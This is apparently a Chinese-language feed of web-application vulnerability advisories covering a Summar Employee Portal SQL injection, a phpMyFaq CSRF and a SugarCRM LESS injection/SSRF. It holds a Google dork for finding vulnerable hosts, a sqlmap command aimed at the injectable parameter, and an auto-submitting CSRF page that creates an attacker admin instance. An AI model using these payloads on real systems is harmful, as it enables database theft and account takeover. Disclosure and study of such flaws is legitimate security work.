Webapps on 办公AI智能小助手

Summar Employee Portal 3.98.0 认证SQL注入漏洞分析与利用

Tue, 13 Jan 2026 12:02:14 +0800

漏洞标题: Summar Employee Portal 3.98.0 - 认证SQL注入

Google Dork: inurl:"/MemberPages/quienesquien.aspx"

发布日期: 2025-12-16

漏洞作者: Peter Gabaldon - https://pgj11.com/

厂商主页: https://www.summar.es/

软件链接: https://www.summar.es/software-recursos-humanos/

受影响版本: < 3.98.0

测试环境: Kali Linux

CVE编号: CVE-2025-40677

漏洞描述: Summar Software 的“员工门户”（Portal del Empleado）中存在SQL注入漏洞。该漏洞允许攻击者通过向 `/MemberPages/quienesquien.aspx` 页面发送POST请求，并在参数 `ctl00$ContentPlaceHolder1$filtroNombre` 中注入恶意载荷，从而对数据库进行检索、创建、更新和删除操作。

$ sqlmap –random-agent -r req.sqli.xml -p ‘ctl00%24ContentPlaceHolder1%24filtroNombre’ –dbms=“MSSQL”

phpMyFaq 2.9.8中的跨站请求伪造（CSRF）漏洞利用详情

Fri, 09 Jan 2026 20:33:42 +0800

漏洞标题：phpMyFaq 2.9.8 - 跨站请求伪造（CSRF）

日期：2025-11-25

漏洞作者：CodeSecLab

供应商主页：https://github.com/thorsten/phpMyFAQ/

软件链接：https://github.com/thorsten/phpMyFAQ/

版本：2.9.8

测试环境：Windows 10

CVE：CVE-2017-15808

PoC 代码：

<html>
  <body>
    <form action="http://phpmyfaq/admin/index.php" method="GET">
      <input type="hidden" name="action" value="ajax">
      <input type="hidden" name="ajax" value="config">
      <input type="hidden" name="ajaxaction" value="add_instance">
      <input type="hidden" name="url" value="malicious">
      <input type="hidden" name="instance" value="malicious_instance">
      <input type="hidden" name="comment" value="CSRF Test">
      <input type="hidden" name="email" value="attacker@example.com">
      <input type="hidden" name="admin" value="attacker">
      <input type="hidden" name="password" value="password123">
      <input type="submit" value="Submit request">
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

复现步骤：

SugarCRM 14.0.0 SSRF与代码注入漏洞利用详解

Sat, 20 Sep 2025 15:43:25 +0800

漏洞标题：SugarCRM 14.0.0 - SSRF/代码注入

作者：Egidio Romano aka EgiX

邮箱：n0b0d13s@gmail.com

软件链接：https://www.sugarcrm.com

受影响版本：所有商业版本13.0.4之前和14.0.1之前。

CVE参考：CVE-2024-58258

漏洞描述：

通过GET参数传递给/css/preview REST API端点的用户输入在解析为LESS代码之前未经过适当清理。远程未经验证的攻击者可以利用此漏洞注入并执行任意LESS指令。通过滥用@import LESS语句，攻击者可以触发服务器端请求伪造（SSRF）或读取Web服务器上的任意本地文件，可能导致敏感信息泄露。